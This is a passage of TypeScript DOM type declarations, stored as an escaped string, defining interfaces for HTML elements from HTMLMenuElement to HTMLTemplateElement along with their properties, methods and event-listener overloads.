number;\\n};\\n\\ninterface HTMLMenuElement extends HTMLElement {\\n    compact: boolean;\\n    type: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLMenuElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLMenuElement: {\\n    prototype: HTMLMenuElement;\\n    new(): HTMLMenuElement;\\n};\\n\\ninterface HTMLMetaElement extends HTMLElement {\\n    /**\\n     * Sets or retrieves the character set used to encode the object.\\n     */\\n    charset: string;\\n    /**\\n     * Gets or sets meta-information to associate with httpEquiv or name.\\n     */\\n    content: string;\\n    /**\\n     * Gets or sets information used to bind the value of a content attribute of a meta element to an HTTP response header.\\n     */\\n    httpEquiv: string;\\n    /**\\n     * Sets or retrieves the value specified in the content attribute of the meta object.\\n     */\\n    name: string;\\n    /**\\n     * Sets or retrieves a scheme to be used in interpreting the value of a property specified for the object.\\n     */\\n    scheme: string;\\n    /**\\n     * Sets or retrieves the URL property that will be loaded after the specified time has elapsed.\\n     */\\n    url: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLMetaElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLMetaElement: {\\n    prototype: HTMLMetaElement;\\n    new(): HTMLMetaElement;\\n};\\n\\ninterface HTMLMeterElement extends HTMLElement {\\n    high: number;\\n    low: number;\\n    max: number;\\n    min: number;\\n    optimum: number;\\n    value: number;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLMeterElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLMeterElement: {\\n    prototype: HTMLMeterElement;\\n    new(): HTMLMeterElement;\\n};\\n\\ninterface HTMLModElement extends HTMLElement {\\n    /**\\n     * Sets or retrieves reference information about the object.\\n     */\\n    cite: string;\\n    /**\\n     * Sets or retrieves the date and time of a modification to the object.\\n     */\\n    dateTime: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLModElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLModElement: {\\n    prototype: HTMLModElement;\\n    new(): HTMLModElement;\\n};\\n\\ninterface HTMLObjectElement extends HTMLElement, GetSVGDocument {\\n    align: string;\\n    /**\\n     * Sets or retrieves a text alternative to the graphic.\\n     */\\n    alt: string;\\n    /**\\n     * Gets or sets the optional alternative HTML script to execute if the object fails to load.\\n     */\\n    altHtml: string;\\n    /**\\n     * Sets or retrieves a character string that can be used to implement your own archive functionality for the object.\\n     */\\n    archive: string;\\n    /**\\n     * Retrieves a string of the URL where the object tag can be found. This is often the href of the document that the object is in, or the value set by a base element.\\n     */\\n    readonly BaseHref: string;\\n    border: string;\\n    /**\\n     * Sets or retrieves the URL of the file containing the compiled Java class.\\n     */\\n    code: string;\\n    /**\\n     * Sets or retrieves the URL of the component.\\n     */\\n    codeBase: string;\\n    /**\\n     * Sets or retrieves the Internet media type for the code associated with the object.\\n     */\\n    codeType: string;\\n    /**\\n     * Retrieves the document object of the page or frame.\\n     */\\n    readonly contentDocument: Document;\\n    /**\\n     * Sets or retrieves the URL that references the data of the object.\\n     */\\n    data: string;\\n    declare: boolean;\\n    /**\\n     * Retrieves a reference to the form that the object is embedded in.\\n     */\\n    readonly form: HTMLFormElement;\\n    /**\\n     * Sets or retrieves the height of the object.\\n     */\\n    height: string;\\n    hspace: number;\\n    /**\\n     * Gets or sets whether the DLNA PlayTo device is available.\\n     */\\n    msPlayToDisabled: boolean;\\n    /**\\n     * Gets or sets the path to the preferred media source. This enables the Play To target device to stream the media content, which can be DRM protected, from a different location, such as a cloud media server.\\n     */\\n    msPlayToPreferredSourceUri: string;\\n    /**\\n     * Gets or sets the primary DLNA PlayTo device.\\n     */\\n    msPlayToPrimary: boolean;\\n    /**\\n     * Gets the source associated with the media element for use by the PlayToManager.\\n     */\\n    readonly msPlayToSource: any;\\n    /**\\n     * Sets or retrieves the name of the object.\\n     */\\n    name: string;\\n    readonly readyState: number;\\n    /**\\n     * Sets or retrieves a message to be displayed while an object is loading.\\n     */\\n    standby: string;\\n    /**\\n     * Sets or retrieves the MIME type of the object.\\n     */\\n    type: string;\\n    /**\\n     * Sets or retrieves the URL, often with a bookmark extension (#name), to use as a client-side image map.\\n     */\\n    useMap: string;\\n    /**\\n     * Returns the error message that would be displayed if the user submits the form, or an empty string if no error message. It also triggers the standard error message, such as \"this is a required field\". The result is that the user sees validation messages without actually submitting.\\n     */\\n    readonly validationMessage: string;\\n    /**\\n     * Returns a  ValidityState object that represents the validity states of an element.\\n     */\\n    readonly validity: ValidityState;\\n    vspace: number;\\n    /**\\n     * Sets or retrieves the width of the object.\\n     */\\n    width: string;\\n    /**\\n     * Returns whether an element will successfully validate based on forms validation rules and constraints.\\n     */\\n    readonly willValidate: boolean;\\n    /**\\n     * Returns whether a form will validate when it is submitted, without having to submit it.\\n     */\\n    checkValidity(): boolean;\\n    /**\\n     * Sets a custom error message that is displayed when a form is submitted.\\n     * @param error Sets a custom error message that is displayed when a form is submitted.\\n     */\\n    setCustomValidity(error: string): void;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLObjectElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLObjectElement: {\\n    prototype: HTMLObjectElement;\\n    new(): HTMLObjectElement;\\n};\\n\\ninterface HTMLOListElement extends HTMLElement {\\n    compact: boolean;\\n    /**\\n     * The starting number.\\n     */\\n    start: number;\\n    type: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLOListElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLOListElement: {\\n    prototype: HTMLOListElement;\\n    new(): HTMLOListElement;\\n};\\n\\ninterface HTMLOptGroupElement extends HTMLElement {\\n    /**\\n     * Sets or retrieves the status of an option.\\n     */\\n    defaultSelected: boolean;\\n    disabled: boolean;\\n    /**\\n     * Retrieves a reference to the form that the object is embedded in.\\n     */\\n    readonly form: HTMLFormElement;\\n    /**\\n     * Sets or retrieves the ordinal position of an option in a list box.\\n     */\\n    readonly index: number;\\n    /**\\n     * Sets or retrieves a value that you can use to implement your own label functionality for the object.\\n     */\\n    label: string;\\n    /**\\n     * Sets or retrieves whether the option in the list box is the default item.\\n     */\\n    selected: boolean;\\n    /**\\n     * Sets or retrieves the text string specified by the option tag.\\n     */\\n    readonly text: string;\\n    /**\\n     * Sets or retrieves the value which is returned to the server when the form control is submitted.\\n     */\\n    value: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLOptGroupElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLOptGroupElement: {\\n    prototype: HTMLOptGroupElement;\\n    new(): HTMLOptGroupElement;\\n};\\n\\ninterface HTMLOptionElement extends HTMLElement {\\n    /**\\n     * Sets or retrieves the status of an option.\\n     */\\n    defaultSelected: boolean;\\n    disabled: boolean;\\n    /**\\n     * Retrieves a reference to the form that the object is embedded in.\\n     */\\n    readonly form: HTMLFormElement;\\n    /**\\n     * Sets or retrieves the ordinal position of an option in a list box.\\n     */\\n    readonly index: number;\\n    /**\\n     * Sets or retrieves a value that you can use to implement your own label functionality for the object.\\n     */\\n    label: string;\\n    /**\\n     * Sets or retrieves whether the option in the list box is the default item.\\n     */\\n    selected: boolean;\\n    /**\\n     * Sets or retrieves the text string specified by the option tag.\\n     */\\n    text: string;\\n    /**\\n     * Sets or retrieves the value which is returned to the server when the form control is submitted.\\n     */\\n    value: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLOptionElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLOptionElement: {\\n    prototype: HTMLOptionElement;\\n    new(): HTMLOptionElement;\\n};\\n\\ninterface HTMLOptionsCollection extends HTMLCollectionOf<HTMLOptionElement> {\\n    length: number;\\n    selectedIndex: number;\\n    add(element: HTMLOptionElement | HTMLOptGroupElement, before?: HTMLElement | number): void;\\n    remove(index: number): void;\\n}\\n\\ndeclare var HTMLOptionsCollection: {\\n    prototype: HTMLOptionsCollection;\\n    new(): HTMLOptionsCollection;\\n};\\n\\ninterface HTMLOutputElement extends HTMLElement {\\n    defaultValue: string;\\n    readonly form: HTMLFormElement;\\n    readonly htmlFor: DOMSettableTokenList;\\n    name: string;\\n    readonly type: string;\\n    readonly validationMessage: string;\\n    readonly validity: ValidityState;\\n    value: string;\\n    readonly willValidate: boolean;\\n    checkValidity(): boolean;\\n    reportValidity(): boolean;\\n    setCustomValidity(error: string): void;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLOutputElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLOutputElement: {\\n    prototype: HTMLOutputElement;\\n    new(): HTMLOutputElement;\\n};\\n\\ninterface HTMLParagraphElement extends HTMLElement {\\n    /**\\n     * Sets or retrieves how the object is aligned with adjacent text.\\n     */\\n    align: string;\\n    clear: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLParagraphElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLParagraphElement: {\\n    prototype: HTMLParagraphElement;\\n    new(): HTMLParagraphElement;\\n};\\n\\ninterface HTMLParamElement extends HTMLElement {\\n    /**\\n     * Sets or retrieves the name of an input parameter for an element.\\n     */\\n    name: string;\\n    /**\\n     * Sets or retrieves the content type of the resource designated by the value attribute.\\n     */\\n    type: string;\\n    /**\\n     * Sets or retrieves the value of an input parameter for an element.\\n     */\\n    value: string;\\n    /**\\n     * Sets or retrieves the data type of the value attribute.\\n     */\\n    valueType: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLParamElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLParamElement: {\\n    prototype: HTMLParamElement;\\n    new(): HTMLParamElement;\\n};\\n\\ninterface HTMLPictureElement extends HTMLElement {\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLPictureElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLPictureElement: {\\n    prototype: HTMLPictureElement;\\n    new(): HTMLPictureElement;\\n};\\n\\ninterface HTMLPreElement extends HTMLElement {\\n    /**\\n     * Sets or gets a value that you can use to implement your own width functionality for the object.\\n     */\\n    width: number;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLPreElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLPreElement: {\\n    prototype: HTMLPreElement;\\n    new(): HTMLPreElement;\\n};\\n\\ninterface HTMLProgressElement extends HTMLElement {\\n    /**\\n     * Retrieves a reference to the form that the object is embedded in.\\n     */\\n    readonly form: HTMLFormElement;\\n    /**\\n     * Defines the maximum, or \"done\" value for a progress element.\\n     */\\n    max: number;\\n    /**\\n     * Returns the quotient of value/max when the value attribute is set (determinate progress bar), or -1 when the value attribute is missing (indeterminate progress bar).\\n     */\\n    readonly position: number;\\n    /**\\n     * Sets or gets the current value of a progress element. The value must be a non-negative number between 0 and the max value.\\n     */\\n    value: number;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLProgressElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLProgressElement: {\\n    prototype: HTMLProgressElement;\\n    new(): HTMLProgressElement;\\n};\\n\\ninterface HTMLQuoteElement extends HTMLElement {\\n    /**\\n     * Sets or retrieves reference information about the object.\\n     */\\n    cite: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLQuoteElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLQuoteElement: {\\n    prototype: HTMLQuoteElement;\\n    new(): HTMLQuoteElement;\\n};\\n\\ninterface HTMLScriptElement extends HTMLElement {\\n    async: boolean;\\n    /**\\n     * Sets or retrieves the character set used to encode the object.\\n     */\\n    charset: string;\\n    crossOrigin: string | null;\\n    /**\\n     * Sets or retrieves the status of the script.\\n     */\\n    defer: boolean;\\n    /**\\n     * Sets or retrieves the event for which the script is written.\\n     */\\n    event: string;\\n    /**\\n     * Sets or retrieves the object that is bound to the event script.\\n     */\\n    htmlFor: string;\\n    /**\\n     * Retrieves the URL to an external file that contains the source code or data.\\n     */\\n    src: string;\\n    /**\\n     * Retrieves or sets the text of the object as a string.\\n     */\\n    text: string;\\n    /**\\n     * Sets or retrieves the MIME type for the associated scripting engine.\\n     */\\n    type: string;\\n    integrity: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLScriptElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLScriptElement: {\\n    prototype: HTMLScriptElement;\\n    new(): HTMLScriptElement;\\n};\\n\\ninterface HTMLSelectElement extends HTMLElement {\\n    /**\\n     * Provides a way to direct a user to a specific field when a document loads. This can provide both direction and convenience for a user, reducing the need to click or tab to a field when a page opens. This attribute is true when present on an element, and false when missing.\\n     */\\n    autofocus: boolean;\\n    disabled: boolean;\\n    /**\\n     * Retrieves a reference to the form that the object is embedded in.\\n     */\\n    readonly form: HTMLFormElement;\\n    /**\\n     * Sets or retrieves the number of objects in a collection.\\n     */\\n    length: number;\\n    /**\\n     * Sets or retrieves the Boolean value indicating whether multiple items can be selected from a list.\\n     */\\n    multiple: boolean;\\n    /**\\n     * Sets or retrieves the name of the object.\\n     */\\n    name: string;\\n    readonly options: HTMLOptionsCollection;\\n    /**\\n     * When present, marks an element that can\\'t be submitted without a value.\\n     */\\n    required: boolean;\\n    /**\\n     * Sets or retrieves the index of the selected option in a select object.\\n     */\\n    selectedIndex: number;\\n    selectedOptions: HTMLCollectionOf<HTMLOptionElement>;\\n    /**\\n     * Sets or retrieves the number of rows in the list box.\\n     */\\n    size: number;\\n    /**\\n     * Retrieves the type of select control based on the value of the MULTIPLE attribute.\\n     */\\n    readonly type: string;\\n    /**\\n     * Returns the error message that would be displayed if the user submits the form, or an empty string if no error message. It also triggers the standard error message, such as \"this is a required field\". The result is that the user sees validation messages without actually submitting.\\n     */\\n    readonly validationMessage: string;\\n    /**\\n     * Returns a  ValidityState object that represents the validity states of an element.\\n     */\\n    readonly validity: ValidityState;\\n    /**\\n     * Sets or retrieves the value which is returned to the server when the form control is submitted.\\n     */\\n    value: string;\\n    /**\\n     * Returns whether an element will successfully validate based on forms validation rules and constraints.\\n     */\\n    readonly willValidate: boolean;\\n    /**\\n     * Adds an element to the areas, controlRange, or options collection.\\n     * @param element Variant of type Number that specifies the index position in the collection where the element is placed. If no value is given, the method places the element at the end of the collection.\\n     * @param before Variant of type Object that specifies an element to insert before, or null to append the object to the collection.\\n     */\\n    add(element: HTMLElement, before?: HTMLElement | number): void;\\n    /**\\n     * Returns whether a form will validate when it is submitted, without having to submit it.\\n     */\\n    checkValidity(): boolean;\\n    /**\\n     * Retrieves a select object or an object from an options collection.\\n     * @param name Variant of type Number or String that specifies the object or collection to retrieve. If this parameter is an integer, it is the zero-based index of the object. If this parameter is a string, all objects with matching name or id properties are retrieved, and a collection is returned if more than one match is made.\\n     * @param index Variant of type Number that specifies the zero-based index of the object to retrieve when a collection is returned.\\n     */\\n    item(name?: any, index?: any): any;\\n    /**\\n     * Retrieves a select object or an object from an options collection.\\n     * @param namedItem A String that specifies the name or id property of the object to retrieve. A collection is returned if more than one match is made.\\n     */\\n    namedItem(name: string): any;\\n    /**\\n     * Removes an element from the collection.\\n     * @param index Number that specifies the zero-based index of the element to remove from the collection.\\n     */\\n    remove(index?: number): void;\\n    /**\\n     * Sets a custom error message that is displayed when a form is submitted.\\n     * @param error Sets a custom error message that is displayed when a form is submitted.\\n     */\\n    setCustomValidity(error: string): void;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLSelectElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n    [name: string]: any;\\n}\\n\\ndeclare var HTMLSelectElement: {\\n    prototype: HTMLSelectElement;\\n    new(): HTMLSelectElement;\\n};\\n\\ninterface HTMLSourceElement extends HTMLElement {\\n    /**\\n     * Gets or sets the intended media type of the media source.\\n     */\\n    media: string;\\n    msKeySystem: string;\\n    sizes: string;\\n    /**\\n     * The address or URL of the a media resource that is to be considered.\\n     */\\n    src: string;\\n    srcset: string;\\n    /**\\n     * Gets or sets the MIME type of a media resource.\\n     */\\n    type: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLSourceElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLSourceElement: {\\n    prototype: HTMLSourceElement;\\n    new(): HTMLSourceElement;\\n};\\n\\ninterface HTMLSpanElement extends HTMLElement {\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLSpanElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLSpanElement: {\\n    prototype: HTMLSpanElement;\\n    new(): HTMLSpanElement;\\n};\\n\\ninterface HTMLStyleElement extends HTMLElement, LinkStyle {\\n    disabled: boolean;\\n    /**\\n     * Sets or retrieves the media type.\\n     */\\n    media: string;\\n    /**\\n     * Retrieves the CSS language in which the style sheet is written.\\n     */\\n    type: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLStyleElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLStyleElement: {\\n    prototype: HTMLStyleElement;\\n    new(): HTMLStyleElement;\\n};\\n\\ninterface HTMLTableCaptionElement extends HTMLElement {\\n    /**\\n     * Sets or retrieves the alignment of the caption or legend.\\n     */\\n    align: string;\\n    /**\\n     * Sets or retrieves whether the caption appears at the top or bottom of the table.\\n     */\\n    vAlign: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLTableCaptionElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLTableCaptionElement: {\\n    prototype: HTMLTableCaptionElement;\\n    new(): HTMLTableCaptionElement;\\n};\\n\\ninterface HTMLTableCellElement extends HTMLElement, HTMLTableAlignment {\\n    /**\\n     * Sets or retrieves abbreviated text for the object.\\n     */\\n    abbr: string;\\n    /**\\n     * Sets or retrieves how the object is aligned with adjacent text.\\n     */\\n    align: string;\\n    /**\\n     * Sets or retrieves a comma-delimited list of conceptual categories associated with the object.\\n     */\\n    axis: string;\\n    bgColor: any;\\n    /**\\n     * Retrieves the position of the object in the cells collection of a row.\\n     */\\n    readonly cellIndex: number;\\n    /**\\n     * Sets or retrieves the number columns in the table that the object should span.\\n     */\\n    colSpan: number;\\n    /**\\n     * Sets or retrieves a list of header cells that provide information for the object.\\n     */\\n    headers: string;\\n    /**\\n     * Sets or retrieves the height of the object.\\n     */\\n    height: any;\\n    /**\\n     * Sets or retrieves whether the browser automatically performs wordwrap.\\n     */\\n    noWrap: boolean;\\n    /**\\n     * Sets or retrieves how many rows in a table the cell should span.\\n     */\\n    rowSpan: number;\\n    /**\\n     * Sets or retrieves the group of cells in a table to which the object\\'s information applies.\\n     */\\n    scope: string;\\n    /**\\n     * Sets or retrieves the width of the object.\\n     */\\n    width: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLTableCellElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLTableCellElement: {\\n    prototype: HTMLTableCellElement;\\n    new(): HTMLTableCellElement;\\n};\\n\\ninterface HTMLTableColElement extends HTMLElement, HTMLTableAlignment {\\n    /**\\n     * Sets or retrieves the alignment of the object relative to the display or table.\\n     */\\n    align: string;\\n    /**\\n     * Sets or retrieves the number of columns in the group.\\n     */\\n    span: number;\\n    /**\\n     * Sets or retrieves the width of the object.\\n     */\\n    width: any;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLTableColElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLTableColElement: {\\n    prototype: HTMLTableColElement;\\n    new(): HTMLTableColElement;\\n};\\n\\ninterface HTMLTableDataCellElement extends HTMLTableCellElement {\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLTableDataCellElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLTableDataCellElement: {\\n    prototype: HTMLTableDataCellElement;\\n    new(): HTMLTableDataCellElement;\\n};\\n\\ninterface HTMLTableElement extends HTMLElement {\\n    /**\\n     * Sets or retrieves a value that indicates the table alignment.\\n     */\\n    align: string;\\n    bgColor: any;\\n    /**\\n     * Sets or retrieves the width of the border to draw around the object.\\n     */\\n    border: string;\\n    /**\\n     * Sets or retrieves the border color of the object.\\n     */\\n    borderColor: any;\\n    /**\\n     * Retrieves the caption object of a table.\\n     */\\n    caption: HTMLTableCaptionElement;\\n    /**\\n     * Sets or retrieves the amount of space between the border of the cell and the content of the cell.\\n     */\\n    cellPadding: string;\\n    /**\\n     * Sets or retrieves the amount of space between cells in a table.\\n     */\\n    cellSpacing: string;\\n    /**\\n     * Sets or retrieves the number of columns in the table.\\n     */\\n    cols: number;\\n    /**\\n     * Sets or retrieves the way the border frame around the table is displayed.\\n     */\\n    frame: string;\\n    /**\\n     * Sets or retrieves the height of the object.\\n     */\\n    height: any;\\n    /**\\n     * Sets or retrieves the number of horizontal rows contained in the object.\\n     */\\n    rows: HTMLCollectionOf<HTMLTableRowElement>;\\n    /**\\n     * Sets or retrieves which dividing lines (inner borders) are displayed.\\n     */\\n    rules: string;\\n    /**\\n     * Sets or retrieves a description and/or structure of the object.\\n     */\\n    summary: string;\\n    /**\\n     * Retrieves a collection of all tBody objects in the table. Objects in this collection are in source order.\\n     */\\n    tBodies: HTMLCollectionOf<HTMLTableSectionElement>;\\n    /**\\n     * Retrieves the tFoot object of the table.\\n     */\\n    tFoot: HTMLTableSectionElement;\\n    /**\\n     * Retrieves the tHead object of the table.\\n     */\\n    tHead: HTMLTableSectionElement;\\n    /**\\n     * Sets or retrieves the width of the object.\\n     */\\n    width: string;\\n    /**\\n     * Creates an empty caption element in the table.\\n     */\\n    createCaption(): HTMLTableCaptionElement;\\n    /**\\n     * Creates an empty tBody element in the table.\\n     */\\n    createTBody(): HTMLTableSectionElement;\\n    /**\\n     * Creates an empty tFoot element in the table.\\n     */\\n    createTFoot(): HTMLTableSectionElement;\\n    /**\\n     * Returns the tHead element object if successful, or null otherwise.\\n     */\\n    createTHead(): HTMLTableSectionElement;\\n    /**\\n     * Deletes the caption element and its contents from the table.\\n     */\\n    deleteCaption(): void;\\n    /**\\n     * Removes the specified row (tr) from the element and from the rows collection.\\n     * @param index Number that specifies the zero-based position in the rows collection of the row to remove.\\n     */\\n    deleteRow(index?: number): void;\\n    /**\\n     * Deletes the tFoot element and its contents from the table.\\n     */\\n    deleteTFoot(): void;\\n    /**\\n     * Deletes the tHead element and its contents from the table.\\n     */\\n    deleteTHead(): void;\\n    /**\\n     * Creates a new row (tr) in the table, and adds the row to the rows collection.\\n     * @param index Number that specifies where to insert the row in the rows collection. The default value is -1, which appends the new row to the end of the rows collection.\\n     */\\n    insertRow(index?: number): HTMLTableRowElement;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLTableElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLTableElement: {\\n    prototype: HTMLTableElement;\\n    new(): HTMLTableElement;\\n};\\n\\ninterface HTMLTableHeaderCellElement extends HTMLTableCellElement {\\n    /**\\n     * Sets or retrieves the group of cells in a table to which the object\\'s information applies.\\n     */\\n    scope: string;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLTableHeaderCellElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLTableHeaderCellElement: {\\n    prototype: HTMLTableHeaderCellElement;\\n    new(): HTMLTableHeaderCellElement;\\n};\\n\\ninterface HTMLTableRowElement extends HTMLElement, HTMLTableAlignment {\\n    /**\\n     * Sets or retrieves how the object is aligned with adjacent text.\\n     */\\n    align: string;\\n    bgColor: any;\\n    /**\\n     * Retrieves a collection of all cells in the table row.\\n     */\\n    cells: HTMLCollectionOf<HTMLTableDataCellElement | HTMLTableHeaderCellElement>;\\n    /**\\n     * Sets or retrieves the height of the object.\\n     */\\n    height: any;\\n    /**\\n     * Retrieves the position of the object in the rows collection for the table.\\n     */\\n    readonly rowIndex: number;\\n    /**\\n     * Retrieves the position of the object in the collection.\\n     */\\n    readonly sectionRowIndex: number;\\n    /**\\n     * Removes the specified cell from the table row, as well as from the cells collection.\\n     * @param index Number that specifies the zero-based position of the cell to remove from the table row. If no value is provided, the last cell in the cells collection is deleted.\\n     */\\n    deleteCell(index?: number): void;\\n    /**\\n     * Creates a new cell in the table row, and adds the cell to the cells collection.\\n     * @param index Number that specifies where to insert the cell in the tr. The default value is -1, which appends the new cell to the end of the cells collection.\\n     */\\n    insertCell(index?: number): HTMLTableDataCellElement;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLTableRowElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLTableRowElement: {\\n    prototype: HTMLTableRowElement;\\n    new(): HTMLTableRowElement;\\n};\\n\\ninterface HTMLTableSectionElement extends HTMLElement, HTMLTableAlignment {\\n    /**\\n     * Sets or retrieves a value that indicates the table alignment.\\n     */\\n    align: string;\\n    /**\\n     * Sets or retrieves the number of horizontal rows contained in the object.\\n     */\\n    rows: HTMLCollectionOf<HTMLTableRowElement>;\\n    /**\\n     * Removes the specified row (tr) from the element and from the rows collection.\\n     * @param index Number that specifies the zero-based position in the rows collection of the row to remove.\\n     */\\n    deleteRow(index?: number): void;\\n    /**\\n     * Creates a new row (tr) in the table, and adds the row to the rows collection.\\n     * @param index Number that specifies where to insert the row in the rows collection. The default value is -1, which appends the new row to the end of the rows collection.\\n     */\\n    insertRow(index?: number): HTMLTableRowElement;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLTableSectionElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var HTMLTableSectionElement: {\\n    prototype: HTMLTableSectionElement;\\n    new(): HTMLTableSectionElement;\\n};\\n\\ninterface HTMLTemplateElement extends HTMLElement {\\n    readonly content: DocumentFragment;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: HTMLTemplateElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, 